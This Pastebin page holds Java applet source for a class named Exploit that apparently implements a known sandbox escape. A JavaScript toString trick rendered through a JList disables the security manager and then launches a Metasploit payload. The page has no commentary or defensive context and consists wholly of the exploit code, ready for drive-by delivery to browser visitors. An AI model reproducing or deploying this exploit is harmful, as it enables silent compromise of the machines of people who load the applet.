Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import java.applet.Applet;
- import javax.script.*;
- import javax.swing.JList;
- import metasploit.Payload;
- public class Exploit extends Applet
- {
- public Exploit()
- {
- }
- public void init()
- {
- try
- {
- ScriptEngine scriptengine = (new ScriptEngineManager()).getEngineByName("js");
- Bindings bindings = scriptengine.createBindings();
- bindings.put("applet", this);
- Object obj = scriptengine.eval("this.toString = function() {\tjava.lang.System.setSecurityManager(null);\tapplet" +
- ".callBack();\treturn String.fromCharCode(97 + Math.round(Math.random() * 25));};" +
- "e = new Error();e.message = this;e"
- , bindings);
- JList jlist = new JList(new Object[] {
- obj
- });
- add(jlist);
- }
- catch(ScriptException scriptexception)
- {
- scriptexception.printStackTrace();
- }
- }
- public void callBack()
- {
- try
- {
- Payload.main(null);
- }
- catch(Exception exception) { }
- }
- }
Add Comment
Please, Sign In to add comment